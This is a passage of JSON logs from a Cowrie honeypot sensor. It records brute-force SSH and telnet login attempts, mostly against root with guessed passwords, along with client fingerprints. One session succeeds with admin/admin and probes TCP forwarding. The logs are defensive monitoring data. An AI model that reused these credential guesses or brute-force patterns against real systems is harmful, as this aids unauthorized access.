a-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:19.649039Z","src_ip":"176.32.39.21","session":"44632703a07b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09051945","message":"login attempt [root/09051945] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:20.012785Z","src_ip":"176.32.39.21","session":"44632703a07b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:20.601901Z","src_ip":"89.127.197.59","session":"7bd494575c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:21.135379Z","src_ip":"176.32.39.21","session":"44632703a07b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":52498,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c3e891fc559","protocol":"ssh","message":"New connection: 46.19.67.181:52498 (10.17.0.5:22) [session: 7c3e891fc559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:23.794142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:23.799228Z","src_ip":"46.19.67.181","session":"7c3e891fc559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:23.916834Z","src_ip":"46.19.67.181","session":"7c3e891fc559","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjuhfvvf","message":"login attempt [root/ghjuhfvvf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:24.261366Z","src_ip":"46.19.67.181","session":"7c3e891fc559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:25.378856Z","src_ip":"46.19.67.181","session":"7c3e891fc559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":46776,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc8944a45f21","protocol":"ssh","message":"New connection: 189.203.163.10:46776 (10.17.0.5:22) [session: fc8944a45f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:33.857098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:33.861851Z","src_ip":"189.203.163.10","session":"fc8944a45f21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:33.926555Z","src_ip":"189.203.163.10","session":"fc8944a45f21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"isik","message":"login attempt [root/isik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:34.215746Z","src_ip":"189.203.163.10","session":"fc8944a45f21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":46282,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dfca2fb2fb6","protocol":"ssh","message":"New connection: 43.134.71.92:46282 (10.17.0.5:22) [session: 8dfca2fb2fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:34.647761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:34.652650Z","src_ip":"43.134.71.92","session":"8dfca2fb2fb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:34.901546Z","src_ip":"43.134.71.92","session":"8dfca2fb2fb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:35.283139Z","src_ip":"189.203.163.10","session":"fc8944a45f21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:35.916054Z","src_ip":"43.134.71.92","session":"8dfca2fb2fb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:37.164273Z","src_ip":"43.134.71.92","session":"8dfca2fb2fb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.142.209.244","src_port":28338,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a53d103e72c","protocol":"ssh","message":"New connection: 83.142.209.244:28338 (159.203.135.109:22) [session: 0a53d103e72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:37.938838Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:37.943791Z","src_ip":"83.142.209.244","session":"0a53d103e72c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.142.209.244","src_port":28342,"dst_ip":"159.203.135.109","dst_port":22,"session":"4078d4d4203c","protocol":"ssh","message":"New connection: 83.142.209.244:28342 (159.203.135.109:22) [session: 4078d4d4203c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:38.072842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:38.077492Z","src_ip":"83.142.209.244","session":"4078d4d4203c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:38.166406Z","src_ip":"83.142.209.244","session":"4078d4d4203c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:38.473428Z","src_ip":"83.142.209.244","session":"4078d4d4203c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"83.142.209.244","dst_port":80,"src_ip":"83.142.209.244","src_port":5555,"message":"direct-tcp connection request to 83.142.209.244:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:38.565862Z","session":"4078d4d4203c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"83.142.209.244","dst_port":80,"data":"b'KmLqCAH31jKxxGTM5MVB7nRLwBSy0WDETsbGURs5oGRpsBs1BK'","id":0,"message":"discarded direct-tcp forward request 0 to 83.142.209.244:80 with data b'KmLqCAH31jKxxGTM5MVB7nRLwBSy0WDETsbGURs5oGRpsBs1BK'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:38.659572Z","src_ip":"83.142.209.244","session":"4078d4d4203c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:38.791663Z","src_ip":"83.142.209.244","session":"4078d4d4203c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":56030,"dst_ip":"159.203.135.109","dst_port":22,"session":"e55e8970e870","protocol":"ssh","message":"New connection: 103.27.238.114:56030 (159.203.135.109:22) [session: e55e8970e870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:39.279882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:39.285337Z","src_ip":"103.27.238.114","session":"e55e8970e870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:39.560857Z","src_ip":"103.27.238.114","session":"e55e8970e870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51636,"dst_ip":"10.17.0.5","dst_port":23,"session":"678c169b7ff0","protocol":"telnet","message":"New connection: 192.119.13.58:51636 (10.17.0.5:23) [session: 678c169b7ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:39.827255Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"lolita","message":"login attempt [root/lolita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:40.385755Z","src_ip":"103.27.238.114","session":"e55e8970e870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:41.664383Z","src_ip":"103.27.238.114","session":"e55e8970e870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":40604,"dst_ip":"10.17.0.5","dst_port":22,"session":"33d203a4a190","protocol":"ssh","message":"New connection: 103.249.84.242:40604 (10.17.0.5:22) [session: 33d203a4a190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:54.540285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:54.545638Z","src_ip":"103.249.84.242","session":"33d203a4a190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:54.784685Z","src_ip":"103.249.84.242","session":"33d203a4a190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"topper","message":"login attempt [root/topper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:55.743093Z","src_ip":"103.249.84.242","session":"33d203a4a190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":46588,"dst_ip":"10.17.0.5","dst_port":22,"session":"40fdc0ee1d8c","protocol":"ssh","message":"New connection: 109.172.54.111:46588 (10.17.0.5:22) [session: 40fdc0ee1d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:56.416999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:56.421562Z","src_ip":"109.172.54.111","session":"40fdc0ee1d8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:56.522454Z","src_ip":"109.172.54.111","session":"40fdc0ee1d8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lbvjxrf","message":"login attempt [root/lbvjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:56.832911Z","src_ip":"109.172.54.111","session":"40fdc0ee1d8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:56.976792Z","src_ip":"103.249.84.242","session":"33d203a4a190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:09:57.935596Z","src_ip":"109.172.54.111","session":"40fdc0ee1d8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":56592,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6521fbf9c00","protocol":"ssh","message":"New connection: 80.225.252.182:56592 (10.17.0.5:22) [session: a6521fbf9c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:17.704886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:10:17.710151Z","src_ip":"80.225.252.182","session":"a6521fbf9c00","protocol":"ssh"}
